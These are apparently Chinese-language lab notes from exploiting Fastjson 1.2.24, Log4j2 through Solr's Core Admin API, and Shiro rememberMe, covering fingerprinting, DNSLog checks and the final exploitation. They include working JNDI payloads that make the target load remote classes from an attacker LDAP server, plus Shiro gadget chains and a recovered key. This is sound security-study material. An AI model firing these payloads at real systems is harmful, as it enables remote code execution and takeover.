java组件漏洞
fastjson发正常请求看反应专门发错看异常这个五个字段是Spring Boot默认的500错误返回格式重点字段message:syntax error不同的 JSON 库解析失败时说法不一样库典型报错文字fastjsonsyntax error小写、很短JacksonUnexpected end-of-input、Unexpected characterGsonExpected BEGIN_OBJECT but was ...这个地方处理了我发送的jsondnslog查询流程总结1. POST 发送 JSON 字符串2. RequestBody触发 Spring交给 Fastjson 执行JSON.parseObject(json串, User.class)反序列化串→User 对象3. 解析成功进入接口方法return user 对象Spring 再用 Fastjson 序列化对象→JSON 串返回给你4. 解析失败parseObject 直接抛异常不走接口内部代码直接返回 500 报错反连接生成了总体流程① 识别 fastjson 1.2.24 / Spring Boot / JDK 1.8.0_102← 错误体五字段 syntax error 措辞② 找入口 POST / 的 JSON body← RequestBody → JSON.parseObject(串, 类)← A/B 对照发 hello 回 hello③ 验证 {b:{type:java.net.Inet4Address,val:dnslog}}← DNSLog 响 type 被采纳← 必须嵌套顶层会 type not match④ 利用 {b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://工具/token,autoCommit:true}}← 返回 500 但命令已执行⑤ 取证 /tmp/pwned 存在工具JNDI-Injection-Exploit建立java8环境用法跑完打印几条 ldap://IP:1389/xxx粘进 payload 即可。payload原理起 LDAPRMIHTTP 三个服务。目标 lookup 时回一个引用「去我这儿下载 class」。目标下载 → 加载 → 执行。便利一条命令干掉「写恶意类 javac 编译 起 HTTP 起 LDAP」四件事。限制只走远程加载 classJDK ≥ 8u191 失效。返回500但是命令执行了Log4j2通过标题百度了一下Solr然后就可以知道可Log4j有关然后用了yakit扫描模块没扫出来参数位置不对Solr特点/solr/admin/cores 是什么 这是 Solr 的 Core Admin API——内置功能任何 Solr 都有这个路径不需要开发者写一行代码。 action 是它的标准参数官方文档里明确列出了支持哪些值CREATE、RELOAD、STATUS…。试错这个错误被记录到日志dnslog查询这里日志里的前缀没了说明log4j2把它解析了但 lookup 没成功反连接用yakit生成payload然后用流程① 识别 Solr 8.11.0 / JDK 1.8.0_102 / 无认证 ← 三个问题CtrlF 定位② 找入口 action 参数 → 异常信息 → ERROR 日志 ← 打框架不打代码③ 验证 ${jndi:ldap://dnslog/a} → DNSLog 响 ← 只证明被解析了④ 利用 ${jndi:ldap://工具地址/token} → RCE⑤ 取证 /tmp/solr 存在 ← 唯一算数的证据shiroShiro 的 rememberMe 是框架级的CookieRememberMeManager 对所有路径都生效。这出现 rememberMedeleteMe ⇒ 100% 是 Shiro这是它解密失败后主动清 Cookie 的行为不是业务代码写的。这里再用yakit扫一下Yakit Shiro 扫描原理指纹识别发包检测 Shiro特征返回rememberMedeleteMe 密钥爆破内置Shiro密钥字典逐个尝试解密 生成Payload针对每个可用密钥调用ysoserial生成不同利用链的序列化对象 Shiro加密随机IV AES-CBC加密序列化数据IV密文Base64编码组成rememberMe Cookie 发包验证发送带Cookie请求通过DNSlog/OOB外带判断是否执行成功 输出结果可用密钥、利用链、Payload 常用利用链极简汇总利用链CCK1CommonsCollectionsK1 依赖commons-collections 原理AnnotationInvocationHandler代理链式调用Transformer最终Runtime.exec执行命令 特点Shiro靶场常用CC包类被黑名单拦截则失效 CC2CommonsCollections2 依赖commons-collections4 原理PriorityQueue反序列化触发Transformer链TemplatesImpl加载恶意字节码 特点vulhub Shiro550经典链依赖CC4包 CB192NoCCCommonsBeanutils1.9.2 NoCC 依赖commons-beanutils无需commons-collections 原理BeanComparator比较时调用TemplatesImpl.newTransformer加载恶意字节码 特点无Transformer数组规避Shiro原生数组限制CC黑名单环境首选 Jdk7u21 依赖无任何第三方jar纯JDK 原理AnnotationInvocationHandler代理配合TemplatesImpl反序列化加载恶意字节码 特点兜底链CC/Beanutils包被删除时尝试对JDK版本有要求yakit直接找出了密钥kPHbIxk5D2deZiIxcaaaA 接着使用工具